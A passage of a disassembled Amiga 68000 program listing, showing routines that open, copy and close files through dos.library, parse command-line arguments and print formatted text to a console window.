  1205.     DC.W    $0000            ;0AE6
  1206. LAB_00A9:
  1207.     BSR    LAB_00D0        ;0AE8: 61000274
  1208.     PEA    (50).W            ;0AEC: 48780032
  1209. LAB_00AA:
  1210.     PEA    (6).W            ;0AF0: 48780006
  1211.     PEA    LAB_008E(PC)        ;0AF4: 487AFEFE
  1212. LAB_00AB:
  1213.     BSR    LAB_00E3        ;0AF8: 61000392
  1214.     PEA    LAB_0091(PC)        ;0AFC: 487AFF16
  1215.     BSR    LAB_00DF        ;0B00: 61000352
  1216. LAB_00AC:
  1217.     PEA    LAB_0098(PC)        ;0B04: 487AFF4A
  1218.     BSR    LAB_00DF        ;0B08: 6100034A
  1219. LAB_00AD:
  1220.     ADDA    #$0014,A7        ;0B0C: DEFC0014
  1221.     BRA    LAB_00AE        ;0B10: 60000002
  1222. LAB_00AE:
  1223.     MOVEA.L    752(A4),A0        ;0B14: 206C02F0
  1224.     BSR    LAB_0310        ;0B18: 61002A9E
  1225. LAB_00AF:
  1226.     PEA    672(A4)            ;0B1C: 486C02A0
  1227. LAB_00B0:
  1228.     PEA    LAB_009E(PC)        ;0B20: 487AFF60
  1229.     BSR    LAB_00E3        ;0B24: 61000366
  1230.     ADDQ    #8,A7            ;0B28: 504F
  1231. LAB_00B2:
  1232.     BTST    #0,343(A4)        ;0B2A: 082C00000157
  1233.     BEQ.S    LAB_00B5        ;0B30: 6714
  1234.     SUBQ.L    #1,324(A4)        ;0B32: 53AC0144
  1235. LAB_00B3:
  1236.     BLT.S    LAB_00B5        ;0B36: 6D0E
  1237.     BTST    #5,346(A4)        ;0B38: 082C0005015A
  1238.     BNE.S    LAB_00B5        ;0B3E: 6606
  1239.     ADDQ.L    #1,320(A4)        ;0B40: 52AC0140
  1240. LAB_00B4:
  1241.     BRA.S    LAB_00B6        ;0B44: 6008
  1242. LAB_00B5:
  1243.     LEA    316(A4),A0        ;0B46: 41EC013C
  1244.     BSR    LAB_0250        ;0B4A: 61001CF8
  1245. LAB_00B6:
  1246.     MOVEQ    #20,D0            ;0B4E: 7014
  1247.     BRA    LAB_0233        ;0B50: 60001A6A
  1248. LAB_00B7:
  1249.     MOVEM.L    D2-D3/D5-D7/A3/A6,-(A7)    ;0B54: 48E73712
  1250.     MOVEA.L    A1,A3            ;0B58: 2649
  1251.     MOVE.L    A0,D1            ;0B5A: 2208
  1252.     MOVEA.L    17356(A4),A6        ;0B5C: 2C6C43CC
  1253.     MOVE.L    #$000003ED,D2        ;0B60: 243C000003ED
  1254.     JSR    -30(A6)            ;0B66: 4EAEFFE2
  1255.     MOVE.L    D0,D7            ;0B6A: 2E00
  1256.     BGT.S    LAB_00B8        ;0B6C: 6E10
  1257.     BSR    LAB_00D0        ;0B6E: 610001EE
  1258.     PEA    LAB_00A1(PC)        ;0B72: 487AFF3E
  1259.     BSR    LAB_00DF        ;0B76: 610002DC
  1260.     BSR.S    LAB_00AE        ;0B7A: 6198
  1261.     ADDQ    #4,A7            ;0B7C: 584F
  1262. LAB_00B8:
  1263.     MOVE.L    A3,D1            ;0B7E: 220B
  1264.     MOVE.L    #$000003EE,D2        ;0B80: 243C000003EE
  1265.     JSR    -30(A6)            ;0B86: 4EAEFFE2
  1266.     MOVE.L    D0,D6            ;0B8A: 2C00
  1267.     BNE.S    LAB_00B9        ;0B8C: 661C
  1268.     BSR    LAB_00D0        ;0B8E: 610001CE
  1269.     PEA    672(A4)            ;0B92: 486C02A0
  1270.     PEA    LAB_00A5(PC)        ;0B96: 487AFF34
  1271.     BSR    LAB_00E3        ;0B9A: 610002F0
  1272.     MOVE.L    D7,D1            ;0B9E: 2207
  1273.     JSR    -36(A6)            ;0BA0: 4EAEFFDC
  1274.     BSR    LAB_00AE        ;0BA4: 6100FF6E
  1275.     ADDQ    #8,A7            ;0BA8: 504F
  1276. LAB_00B9:
  1277.     MOVE.L    D7,D1            ;0BAA: 2207
  1278.     LEA    756(A4),A0        ;0BAC: 41EC02F4
  1279.     MOVE.L    A0,D2            ;0BB0: 2408
  1280.     MOVEA.L    17356(A4),A6        ;0BB2: 2C6C43CC
  1281.     MOVEQ    #64,D3            ;0BB6: 7640
  1282.     LSL.L    #8,D3            ;0BB8: E18B
  1283.     JSR    -42(A6)            ;0BBA: 4EAEFFD6
  1284.     MOVE.L    D0,D5            ;0BBE: 2A00
  1285.     BEQ.S    LAB_00BA        ;0BC0: 670C
  1286.     MOVE.L    D6,D1            ;0BC2: 2206
  1287.     MOVE.L    D5,D3            ;0BC4: 2605
  1288.     JSR    -48(A6)            ;0BC6: 4EAEFFD0
  1289.     CMP.L    D3,D0            ;0BCA: B083
  1290.     BEQ.S    LAB_00B9        ;0BCC: 67DC
  1291. LAB_00BA:
  1292.     MOVE.L    D7,D1            ;0BCE: 2207
  1293.     MOVEA.L    17356(A4),A6        ;0BD0: 2C6C43CC
  1294.     JSR    -36(A6)            ;0BD4: 4EAEFFDC
  1295.     MOVE.L    D6,D1            ;0BD8: 2206
  1296.     JSR    -36(A6)            ;0BDA: 4EAEFFDC
  1297.     MOVEM.L    (A7)+,D2-D3/D5-D7/A3/A6    ;0BDE: 4CDF48EC
  1298.     RTS                ;0BE2: 4E75
  1299. LAB_00BB:
  1300.     MOVEM.L    D2/A2-A3/A5,-(A7)    ;0BE4: 48E72034
  1301.     MOVEA.L    20(A7),A3        ;0BE8: 266F0014
  1302.     MOVE.L    17140(A4),D0        ;0BEC: 202C42F4
  1303.     MOVE.L    D0,D1            ;0BF0: 2200
  1304.     ASL.L    #2,D1            ;0BF2: E581
  1305.     LEA    17148(A4),A5        ;0BF4: 4BEC42FC
  1306.     ADDA.L    D1,A5            ;0BF8: DBC1
  1307.     BRA    LAB_00CA        ;0BFA: 600000A0
  1308. LAB_00BC:
  1309.     ADDQ.L    #1,A3            ;0BFE: 528B
  1310. LAB_00BD:
  1311.     MOVE.B    (A3),D0            ;0C00: 1013
  1312.     MOVEQ    #32,D1            ;0C02: 7220
  1313.     CMP.B    D1,D0            ;0C04: B001
  1314.     BEQ.S    LAB_00BC        ;0C06: 67F6
  1315.     MOVEQ    #9,D1            ;0C08: 7209
  1316.     CMP.B    D1,D0            ;0C0A: B001
  1317.     BEQ.S    LAB_00BC        ;0C0C: 67F0
  1318.     MOVEQ    #10,D1            ;0C0E: 720A
  1319.     CMP.B    D1,D0            ;0C10: B001
  1320.     BEQ.S    LAB_00BC        ;0C12: 67EA
  1321.     MOVE.B    (A3),D0            ;0C14: 1013
  1322.     BEQ    LAB_00CB        ;0C16: 67000090
  1323.     ADDQ.L    #1,17140(A4)        ;0C1A: 52AC42F4
  1324.     MOVEA.L    A5,A2            ;0C1E: 244D
  1325.     ADDQ.L    #4,A5            ;0C20: 588D
  1326.     MOVEQ    #34,D1            ;0C22: 7222
  1327.     CMP.B    D1,D0            ;0C24: B001
  1328.     BNE.S    LAB_00C7        ;0C26: 6652
  1329.     ADDQ.L    #1,A3            ;0C28: 528B
  1330.     MOVEA.L    A3,A0            ;0C2A: 204B
  1331.     MOVE.L    A0,(A2)            ;0C2C: 2488
  1332.     BRA.S    LAB_00C5        ;0C2E: 6038
  1333. LAB_00BE:
  1334.     MOVE.B    (A3),D0            ;0C30: 1013
  1335.     MOVEQ    #42,D1            ;0C32: 722A
  1336.     CMP.B    D1,D0            ;0C34: B001
  1337.     BNE.S    LAB_00C4+2        ;0C36: 662E
  1338.     ADDQ.L    #1,A3            ;0C38: 528B
  1339.     MOVEQ    #0,D0            ;0C3A: 7000
  1340.     MOVE.B    (A3),D0            ;0C3C: 1013
  1341.     TST.L    D0            ;0C3E: 4A80
  1342.     BEQ.S    LAB_00BF        ;0C40: 670E
  1343.     MOVEQ    #69,D1            ;0C42: 7245
  1344.     SUB.L    D1,D0            ;0C44: 9081
  1345.     BEQ.S    LAB_00C0        ;0C46: 670C
  1346.     MOVEQ    #9,D1            ;0C48: 7209
  1347.     SUB.L    D1,D0            ;0C4A: 9081
  1348.     BEQ.S    LAB_00C1        ;0C4C: 670C
  1349.     BRA.S    LAB_00C2+2        ;0C4E: 6010
  1350. LAB_00BF:
  1351.     CLR.B    (A0)            ;0C50: 4210
  1352.     BRA.S    LAB_00CB        ;0C52: 6054
  1353. LAB_00C0:
  1354.     MOVE.B    #$17,(A0)+        ;0C54: 10FC0017
  1355.     BRA.S    LAB_00C3        ;0C58: 6008
  1356. LAB_00C1:
  1357.     MOVE.B    #$0A,(A0)+        ;0C5A: 10FC000A
  1358. LAB_00C2:
  1359.     CMPI    #$10D3,D0        ;0C5E: 0C4010D3
  1360. LAB_00C3:
  1361.     ADDQ.L    #1,A3            ;0C62: 528B
  1362. LAB_00C4:
  1363.     CMPI    #$10DB,D0        ;0C64: 0C4010DB
  1364. LAB_00C5:
  1365.     MOVE.B    (A3),D0            ;0C68: 1013
  1366.     MOVEQ    #34,D1            ;0C6A: 7222
  1367.     CMP.B    D1,D0            ;0C6C: B001
  1368.     BEQ.S    LAB_00C6        ;0C6E: 6704
  1369.     TST.B    D0            ;0C70: 4A00
  1370.     BNE.S    LAB_00BE        ;0C72: 66BC
  1371. LAB_00C6:
  1372.     ADDQ.L    #1,A3            ;0C74: 528B
  1373.     CLR.B    (A0)            ;0C76: 4210
  1374.     BRA.S    LAB_00CA        ;0C78: 6022
  1375. LAB_00C7:
  1376.     MOVE.L    A3,(A2)            ;0C7A: 248B
  1377. LAB_00C8:
  1378.     CMPI    #$528B,D0        ;0C7C: 0C40528B
  1379.     MOVE.B    (A3),D0            ;0C80: 1013
  1380.     BEQ.S    LAB_00C9        ;0C82: 6712
  1381.     MOVEQ    #32,D1            ;0C84: 7220
  1382.     CMP.B    D1,D0            ;0C86: B001
  1383.     BEQ.S    LAB_00C9        ;0C88: 670C
  1384.     MOVEQ    #9,D1            ;0C8A: 7209
  1385.     CMP.B    D1,D0            ;0C8C: B001
  1386.     BEQ.S    LAB_00C9        ;0C8E: 6706
  1387.     MOVEQ    #10,D1            ;0C90: 720A
  1388.     CMP.B    D1,D0            ;0C92: B001
  1389.     BNE.S    LAB_00C8+2        ;0C94: 66E8
  1390. LAB_00C9:
  1391.     TST.B    (A3)            ;0C96: 4A13
  1392.     BEQ.S    LAB_00CB        ;0C98: 670E
  1393.     CLR.B    (A3)+            ;0C9A: 421B
  1394. LAB_00CA:
  1395.     CMPI.L    #$00000020,17140(A4)    ;0C9C: 0CAC0000002042F4
  1396.     BLT    LAB_00BD        ;0CA4: 6D00FF5A
  1397. LAB_00CB:
  1398.     MOVE.L    17140(A4),D0        ;0CA8: 202C42F4
  1399.     BNE.S    LAB_00CC        ;0CAC: 6606
  1400.     MOVEA.L    636(A4),A0        ;0CAE: 206C027C
  1401.     BRA.S    LAB_00CD        ;0CB2: 6004
  1402. LAB_00CC:
  1403.     LEA    17148(A4),A0        ;0CB4: 41EC42FC
  1404. LAB_00CD:
  1405.     LEA    17300(A4),A1        ;0CB8: 43EC4394
  1406.     MOVE.L    A1,17284(A4)        ;0CBC: 29494384
  1407.     LEA    17316(A4),A1        ;0CC0: 43EC43A4
  1408.     MOVE.L    A1,17300(A4)        ;0CC4: 29494394
  1409.     CLR.L    17316(A4)        ;0CC8: 42AC43A4
  1410.     LEA    17284(A4),A1        ;0CCC: 43EC4384
  1411.     MOVE.L    A1,424(A4)        ;0CD0: 294901A8
  1412.     CLR.L    17296(A4)        ;0CD4: 42AC4390
  1413.     CLR.L    17312(A4)        ;0CD8: 42AC43A0
  1414.     CLR.L    17328(A4)        ;0CDC: 42AC43B0
  1415.     MOVE.L    #$00008011,17288(A4)    ;0CE0: 297C000080114388
  1416.     MOVE.L    #$00008012,D1        ;0CE8: 223C00008012
  1417.     MOVE.L    D1,17304(A4)        ;0CEE: 29414398
  1418.     MOVE.L    D1,17320(A4)        ;0CF2: 294143A8
  1419.     MOVEQ    #0,D1            ;0CF6: 7200
  1420.     MOVE.L    A0,17144(A4)        ;0CF8: 294842F8
  1421.     TST.L    428(A4)            ;0CFC: 4AAC01AC
  1422.     BNE.S    LAB_00CE        ;0D00: 6606
  1423.     MOVE.L    #$00008000,D1        ;0D02: 223C00008000
  1424. LAB_00CE:
  1425.     CLR.L    344(A4)            ;0D08: 42AC0158
  1426.     MOVE.L    D1,D2            ;0D0C: 2401
  1427.     ORI    #$0001,D2        ;0D0E: 00420001
  1428.     MOVE.L    D2,340(A4)        ;0D12: 29420154
  1429.     MOVEQ    #1,D2            ;0D16: 7401
  1430.     MOVE.L    D2,378(A4)        ;0D18: 2942017A
  1431.     MOVE.L    D1,17280(A4)        ;0D1C: 29414380
  1432.     ORI    #$0042,D1        ;0D20: 00410042
  1433.     MOVE.L    D1,374(A4)        ;0D24: 29410176
  1434.     MOVEQ    #2,D2            ;0D28: 7402
  1435.     MOVE.L    D2,412(A4)        ;0D2A: 2942019C
  1436.     MOVE.L    D1,408(A4)        ;0D2E: 29410198
  1437.     ADDQ.L    #3,420(A4)        ;0D32: 56AC01A4
  1438.     BSR    LAB_001A        ;0D36: 6100F570
  1439.     MOVEM.L    (A7)+,D2/A2-A3/A5    ;0D3A: 4CDF2C04
  1440.     BRA    LAB_0233        ;0D3E: 6000187C
  1441. LAB_00CF:
  1442.     DC.W    $434F            ;0D42
  1443.     DC.W    $4E3A            ;0D44
  1444.     DC.W    $3230            ;0D46
  1445.     DC.W    $2F32            ;0D48
  1446.     MOVE    13616(A7),D0        ;0D4A: 302F3530
  1447.     MOVE    14384(A7),D0        ;0D4E: 302F3830
  1448.     DC.W    $2F53            ;0D52
  1449.     DC.W    $4153            ;0D54
  1450.     MOVEA.L    (A0),A0            ;0D56: 2050
  1451.     BSR.S    LAB_00D4        ;0D58: 6174
  1452.     BLS.S    LAB_00D3        ;0D5A: 6368
  1453.     DC.W    $0000            ;0D5C
  1454. LAB_00D0:
  1455.     MOVEM.L    D2/A6,-(A7)        ;0D5E: 48E72002
  1456.     LEA    LAB_00CF(PC),A0        ;0D62: 41FAFFDE
  1457.     MOVE.L    A0,D1            ;0D66: 2208
  1458.     MOVEA.L    17356(A4),A6        ;0D68: 2C6C43CC
  1459.     MOVE.L    #$000003EE,D2        ;0D6C: 243C000003EE
  1460.     JSR    -30(A6)            ;0D72: 4EAEFFE2
  1461.     MOVE.L    D0,17292(A4)        ;0D76: 2940438C
  1462.     BSET    #2,17291(A4)        ;0D7A: 08EC0002438B
  1463.     MOVE.L    D0,17308(A4)        ;0D80: 2940439C
  1464.     MOVE.L    D0,17324(A4)        ;0D84: 294043AC
  1465.     MOVEM.L    (A7)+,D2/A6        ;0D88: 4CDF4004
  1466.     RTS                ;0D8C: 4E75
  1467.     NOP                ;0D8E: 4E71
  1468. LAB_00D1:
  1469.     MOVEM.L    D6-D7/A5,-(A7)        ;0D90: 48E70304
  1470.     MOVE.L    D1,D6            ;0D94: 2C01
  1471.     MOVE.L    D0,D7            ;0D96: 2E00
  1472.     MOVEA.L    A0,A5            ;0D98: 2A48
  1473.     BTST    #1,27(A5)        ;0D9A: 082D0001001B
  1474.     BEQ.S    LAB_00D2        ;0DA0: 6706
  1475.     MOVEA.L    A5,A0            ;0DA2: 204D
  1476.     BSR    LAB_028C        ;0DA4: 61001F4E
  1477. LAB_00D2:
  1478.     MOVE.L    D6,D0            ;0DA8: 2006
  1479.     SUBQ.L    #1,D0            ;0DAA: 5380
  1480.     BNE.S    LAB_00D6        ;0DAC: 6630
  1481.     BTST    #0,27(A5)        ;0DAE: 082D0000001B
  1482.     BEQ.S    LAB_00D5        ;0DB4: 671E
  1483.     MOVE.L    8(A5),D0        ;0DB6: 202D0008
  1484.     CMP.L    D0,D7            ;0DBA: BE80
  1485.     BGE.S    LAB_00D5        ;0DBC: 6C16
  1486.     MOVEA.L    4(A5),A1        ;0DBE: 226D0004
  1487.     SUBA.L    D7,A1            ;0DC2: 93C7
  1488. LAB_00D3:
  1489.     CMPA.L    16(A5),A1        ;0DC4: B3ED0010
  1490.     BCS.S    LAB_00D5        ;0DC8: 650A
  1491.     SUB.L    D7,8(A5)        ;0DCA: 9FAD0008
  1492. LAB_00D4:
  1493.     ADD.L    D7,4(A5)        ;0DCE: DFAD0004
  1494.     BRA.S    LAB_00D9        ;0DD2: 6046
  1495. LAB_00D5:
  1496.     MOVEA.L    A5,A0            ;0DD4: 204D
  1497.     BSR    LAB_0264        ;0DD6: 61001BDC
  1498.     ADD.L    D0,D7            ;0DDA: DE80
  1499.     MOVEQ    #0,D6            ;0DDC: 7C00
  1500. LAB_00D6:
  1501.     MOVE.L    16(A5),4(A5)        ;0DDE: 2B6D00100004
  1502.     CLR.L    12(A5)            ;0DE4: 42AD000C
  1503.     CLR.L    8(A5)            ;0DE8: 42AD0008
  1504.     CLR.B    32(A5)            ;0DEC: 422D0020
  1505.     BTST    #7,27(A5)        ;0DF0: 082D0007001B
  1506.     BEQ.S    LAB_00D7        ;0DF6: 6706
  1507.     MOVEQ    #-4,D0            ;0DF8: 70FC
  1508.     AND.L    D0,24(A5)        ;0DFA: C1AD0018
  1509. LAB_00D7:
  1510.     MOVE.L    D6,-(A7)        ;0DFE: 2F06
  1511.     MOVE.L    28(A5),D0        ;0E00: 202D001C
  1512.     MOVE.L    D7,D1            ;0E04: 2207
  1513.     BSR    LAB_01A4        ;0E06: 61000E32
  1514.     ADDQ    #4,A7            ;0E0A: 584F
  1515.     ADDQ.L    #1,D0            ;0E0C: 5280
  1516.     BNE.S    LAB_00D8        ;0E0E: 6604
  1517.     MOVEQ    #-1,D0            ;0E10: 70FF
  1518.     BRA.S    LAB_00DA        ;0E12: 6008
  1519. LAB_00D8:
  1520.     MOVEQ    #-49,D0            ;0E14: 70CF
  1521.     AND.L    D0,24(A5)        ;0E16: C1AD0018
  1522. LAB_00D9:
  1523.     MOVEQ    #0,D0            ;0E1A: 7000
  1524. LAB_00DA:
  1525.     MOVEM.L    (A7)+,D6-D7/A5        ;0E1C: 4CDF20C0
  1526.     RTS                ;0E20: 4E75
  1527.     NOP                ;0E22: 4E71
  1528. LAB_00DB:
  1529.     SUBQ    #4,A7            ;0E24: 594F
  1530.     LEA    EXT_0000,A0        ;0E26: 41F900000000
  1531.     MOVE.L    A0,(A7)            ;0E2C: 2E88
  1532.     BEQ.S    LAB_00DC        ;0E2E: 6708
  1533.     MOVEA.L    EXT_0005,A0        ;0E30: 2079FFFFFFFC
  1534.     JSR    (A0)            ;0E36: 4E90
  1535. LAB_00DC:
  1536.     ADDQ    #4,A7            ;0E38: 584F
  1537.     RTS                ;0E3A: 4E75
  1538. LAB_00DD:
  1539.     SUBQ    #4,A7            ;0E3C: 594F
  1540.     LEA    EXT_0000,A0        ;0E3E: 41F900000000
  1541.     MOVE.L    A0,(A7)            ;0E44: 2E88
  1542.     BEQ.S    LAB_00DE        ;0E46: 6708
  1543.     MOVEA.L    EXT_0005,A0        ;0E48: 2079FFFFFFFC
  1544.     JSR    (A0)            ;0E4E: 4E90
  1545. LAB_00DE:
  1546.     ADDQ    #4,A7            ;0E50: 584F
  1547.     RTS                ;0E52: 4E75
  1548. LAB_00DF:
  1549.     MOVEM.L    D6-D7/A5,-(A7)        ;0E54: 48E70304
  1550.     MOVEA.L    16(A7),A5        ;0E58: 2A6F0010
  1551.     MOVEA.L    A5,A0            ;0E5C: 204D
  1552. LAB_00E0:
  1553.     TST.B    (A0)+            ;0E5E: 4A18
  1554.     BNE.S    LAB_00E0        ;0E60: 66FC
  1555.     SUBQ.L    #1,A0            ;0E62: 5388
  1556.     SUBA.L    A5,A0            ;0E64: 91CD
  1557.     MOVE.L    A0,D7            ;0E66: 2E08
  1558.     BRA.S    LAB_00E2        ;0E68: 600A
  1559. LAB_00E1:
  1560.     MOVE.L    D6,D0            ;0E6A: 2006
  1561.     LEA    350(A4),A0        ;0E6C: 41EC015E
  1562.     JSR    LAB_0240(PC)        ;0E70: 4EBA1862
  1563. LAB_00E2:
  1564.     MOVEQ    #0,D6            ;0E74: 7C00
  1565.     MOVE.B    (A5)+,D6        ;0E76: 1C1D
  1566.     TST.L    D6            ;0E78: 4A86
  1567.     BNE.S    LAB_00E1        ;0E7A: 66EE
  1568.     LEA    350(A4),A0        ;0E7C: 41EC015E
  1569.     JSR    LAB_028C(PC)        ;0E80: 4EBA1E72
  1570.     MOVE.L    D7,D0            ;0E84: 2007
  1571.     MOVEM.L    (A7)+,D6-D7/A5        ;0E86: 4CDF20C0
  1572.     RTS                ;0E8A: 4E75
  1573. LAB_00E3:
  1574.     SUBA    #$0010,A7        ;0E8C: 9EFC0010
  1575.     MOVEM.L    D5-D7/A3/A5,-(A7)    ;0E90: 48E70714
  1576.     MOVEQ    #0,D7            ;0E94: 7E00
  1577.     LEA    44(A7),A5        ;0E96: 4BEF002C
  1578.     BRA    LAB_00ED        ;0E9A: 6000009A
  1579. LAB_00E4:
  1580.     MOVEQ    #37,D0            ;0E9E: 7025
  1581.     CMP.B    20(A7),D0        ;0EA0: B02F0014
  1582.     BNE    LAB_00EC        ;0EA4: 66000080
  1583.     MOVEA.L    40(A7),A0        ;0EA8: 206F0028
  1584.     ADDQ.L    #1,40(A7)        ;0EAC: 52AF0028
  1585.     MOVE.B    (A0),D0            ;0EB0: 1010
  1586.     MOVEQ    #0,D1            ;0EB2: 7200
  1587.     MOVE.B    D0,D1            ;0EB4: 1200
  1588.     MOVE.B    D0,21(A7)        ;0EB6: 1F400015
  1589.     MOVEQ    #100,D0            ;0EBA: 7064
  1590.     SUB.L    D0,D1            ;0EBC: 9280
  1591.     BEQ.S    LAB_00E8        ;0EBE: 673A
  1592.     MOVEQ    #12,D0            ;0EC0: 700C
  1593.     SUB.L    D0,D1            ;0EC2: 9280
  1594.     BEQ.S    LAB_00E6        ;0EC4: 670E
  1595.     SUBQ.L    #3,D1            ;0EC6: 5781
  1596.     BEQ.S    LAB_00E5        ;0EC8: 6706
  1597.     SUBQ.L    #5,D1            ;0ECA: 5B81
  1598.     BEQ.S    LAB_00E6        ;0ECC: 6706
  1599.     BRA.S    LAB_00EB        ;0ECE: 6044
  1600. LAB_00E5:
  1601.     MOVEA.L    (A5)+,A3        ;0ED0: 265D
  1602.     BRA.S    LAB_00EA        ;0ED2: 6034
  1603. LAB_00E6:
  1604.     MOVE.L    (A5)+,D6        ;0ED4: 2C1D
  1605.     LEA    30(A7),A3        ;0ED6: 47EF001E
  1606.     MOVEQ    #7,D5            ;0EDA: 7A07
  1607. LAB_00E7:
  1608.     MOVE.L    D6,D0            ;0EDC: 2006
  1609.     MOVEQ    #15,D1            ;0EDE: 720F
  1610.     AND.L    D1,D0            ;0EE0: C081
  1611.     LEA    LAB_00EE(PC),A0        ;0EE2: 41FA0078
  1612.     ADDA.L    D0,A0            ;0EE6: D1C0
  1613.     MOVE.B    (A0),(A3)        ;0EE8: 1690
  1614.     SUBQ.L    #1,A3            ;0EEA: 538B
  1615.     ASR.L    #4,D6            ;0EEC: E886
  1616.     SUBQ.L    #1,D5            ;0EEE: 5385
  1617.     TST.L    D5            ;0EF0: 4A85
  1618.     BPL.S    LAB_00E7        ;0EF2: 6AE8
  1619.     CLR.B    31(A7)            ;0EF4: 422F001F
  1620.     BRA.S    LAB_00E9        ;0EF8: 600A
  1621. LAB_00E8:
  1622.     MOVE.L    (A5)+,D0        ;0EFA: 201D
  1623.     LEA    23(A7),A0        ;0EFC: 41EF0017
  1624.     JSR    LAB_0164(PC)        ;0F00: 4EBA083E
  1625. LAB_00E9:
  1626.     LEA    23(A7),A3        ;0F04: 47EF0017
  1627. LAB_00EA:
  1628.     MOVE.L    A3,-(A7)        ;0F08: 2F0B
  1629.     JSR    LAB_00DF(PC)        ;0F0A: 4EBAFF48
  1630.     ADDQ    #4,A7            ;0F0E: 584F
  1631.     ADD.L    D0,D7            ;0F10: DE80
  1632.     BRA.S    LAB_00ED        ;0F12: 6022
  1633. LAB_00EB:
  1634.     ADDQ.L    #1,D7            ;0F14: 5287
  1635.     MOVEQ    #0,D0            ;0F16: 7000
  1636.     MOVE.B    21(A7),D0        ;0F18: 102F0015
  1637.     LEA    350(A4),A0        ;0F1C: 41EC015E
  1638.     JSR    LAB_0240(PC)        ;0F20: 4EBA17B2
  1639.     BRA.S    LAB_00ED        ;0F24: 6010
  1640. LAB_00EC:
  1641.     ADDQ.L    #1,D7            ;0F26: 5287
  1642.     MOVEQ    #0,D0            ;0F28: 7000
  1643.     MOVE.B    20(A7),D0        ;0F2A: 102F0014
  1644.     LEA    350(A4),A0        ;0F2E: 41EC015E
  1645.     JSR    LAB_0240(PC)        ;0F32: 4EBA17A0
  1646. LAB_00ED:
  1647.     MOVEA.L    40(A7),A0        ;0F36: 206F0028
  1648.     ADDQ.L    #1,40(A7)        ;0F3A: 52AF0028
  1649.     MOVE.B    (A0),D0            ;0F3E: 1010
  1650.     MOVE.B    D0,20(A7)        ;0F40: 1F400014
  1651.     BNE    LAB_00E4        ;0F44: 6600FF58
  1652.     LEA    350(A4),A0        ;0F48: 41EC015E
  1653.     JSR    LAB_028C(PC)        ;0F4C: 4EBA1DA6
  1654.     MOVE.L    D7,D0            ;0F50: 2007
  1655.     MOVEM.L    (A7)+,D5-D7/A3/A5    ;0F52: 4CDF28E0
  1656.     ADDA    #$0010,A7        ;0F56: DEFC0010
  1657.     RTS                ;0F5A: 4E75
  1658. LAB_00EE:
  1659.     DC.W    $3031            ;0F5C
  1660.     DC.W    $3233            ;0F5E
  1661.     DC.W    $3435            ;0F60
  1662.     DC.W    $3637            ;0F62
  1663.     MOVE    EXT_0003,D4        ;0F64: 383941424344
  1664.     DC.W    $4546            ;0F6A
  1665.     ORI.B    #$00,D0            ;0F6C: 00000000
  1666. LAB_00EF:
  1667.     MOVEM.L    D6-D7/A3/A5-A7,-(A7)    ;0F70: 48E70317
  1668.     MOVEA.L    17336(A4),A5        ;0F74: 2A6C43B8
  1669.     BRA.S    LAB_00F1        ;0F78: 6014
  1670. LAB_00F0:
  1671.     MOVEA.L    (A5),A3            ;0F7A: 2655
  1672.     MOVEQ    #20,D0            ;0F7C: 7014
  1673.     ADD.L    4(A5),D0        ;0F7E: D0AD0004
  1674.     MOVEA.L    A5,A1            ;0F82: 224D
  1675.     BSR    LAB_031A        ;0F84: 610026DE
  1676.     JSR    -210(A6)        ;0F88: 4EAEFF2E
  1677.     MOVEA.L    A3,A5            ;0F8C: 2A4B
  1678. LAB_00F1:
  1679.     MOVE.L    A5,D0            ;0F8E: 200D
  1680.     BNE.S    LAB_00F0        ;0F90: 66E8
  1681.     CLR.L    17336(A4)        ;0F92: 42AC43B8
  1682.     BRA.S    LAB_00F4        ;0F96: 604C
  1683. LAB_00F2:
  1684.     MOVEA.L    17360(A4),A5        ;0F98: 2A6C43D0
  1685.     MOVEQ    #-100,D0        ;0F9C: 709C
  1686.     ADD.L    596(A4),D0        ;0F9E: D0AC0254
  1687.     MOVEA.L    D0,A3            ;0FA2: 2640
  1688.     MOVE.L    4(A5),D0        ;0FA4: 202D0004
  1689.     MOVE.L    D0,17360(A4)        ;0FA8: 294043D0
  1690.     MOVE.L    8(A5),596(A4)        ;0FAC: 296D00080254
  1691.     MOVE.L    24(A5),D7        ;0FB2: 2E2D0018
  1692.     TST.L    D0            ;0FB6: 4A80
  1693.     BNE.S    LAB_00F3        ;0FB8: 661E
  1694.     MOVEA.L    632(A4),A0        ;0FBA: 206C0278
  1695.     CMPI    #$0024,20(A0)        ;0FBE: 0C6800240014
  1696.     BCS.S    LAB_00F3        ;0FC4: 6512
  1697.     MOVEA.L    A7,A0            ;0FC6: 204F
  1698.     MOVE.L    A0,D6            ;0FC8: 2C08
  1699.     LEA    12(A5),A0        ;0FCA: 41ED000C
  1700.     BSR    LAB_031A        ;0FCE: 61002694
  1701.     JSR    -732(A6)        ;0FD2: 4EAEFD24
  1702.     MOVEA.L    D6,A7            ;0FD6: 2E46
  1703. LAB_00F3:
  1704.     MOVEA.L    A3,A1            ;0FD8: 224B
  1705.     MOVE.L    D7,D0            ;0FDA: 2007
  1706.     BSR    LAB_031A        ;0FDC: 61002686
  1707.     JSR    -210(A6)        ;0FE0: 4EAEFF2E
  1708. LAB_00F4:
  1709.     TST.L    17360(A4)        ;0FE4: 4AAC43D0
  1710.     BNE.S    LAB_00F2        ;0FE8: 66AE
  1711.     MOVEM.L    (A7)+,D6-D7/A3/A5-A7    ;0FEA: 4CDFE8C0
  1712.     RTS                ;0FEE: 4E75
  1713.     MOVEA.L    4(A7),A0        ;0FF0: 206F0004
  1714.     MOVEA.L    8(A7),A1        ;0FF4: 226F0008
  1715.     MOVE.L    12(A7),D0        ;0FF8: 202F000C
  1716. LAB_00F5:
  1717.     SUBA    #$0120,A7        ;0FFC: 9EFC0120
  1718.     MOVEM.L    D2/D6/A2-A3/A5-A6,-(A7)    ;1000: 48E72236
  1719.     MOVEA.L    A1,A3            ;1004: 2649
  1720.     MOVEA.L    A0,A5            ;1006: 2A48
  1721.     CLR.L    600(A4)            ;1008: 42AC0258
  1722.     MOVE.L    D0,17344(A4)        ;100C: 294043C0
  1723.     TST.L    308(A4)            ;1010: 4AAC0134
  1724.     BNE.S    LAB_00F6        ;1014: 660A
  1725.     MOVEQ    #108,D0            ;1016: 706C
  1726.     JSR    LAB_0223(PC)        ;1018: 4EBA142E
  1727.     MOVE.L    D0,308(A4)        ;101C: 29400134
  1728. LAB_00F6:
  1729.     TST.L    312(A4)            ;1020: 4AAC0138
  1730.     BNE.S    LAB_00F7        ;1024: 660A
  1731.     MOVEQ    #108,D0            ;1026: 706C
  1732.     JSR    LAB_0223(PC)        ;1028: 4EBA141E
  1733.     MOVE.L    D0,312(A4)        ;102C: 29400138
  1734. LAB_00F7:
  1735.     PEA    24(A7)            ;1030: 486F0018
  1736.     MOVE.L    312(A4),-(A7)        ;1034: 2F2C0138
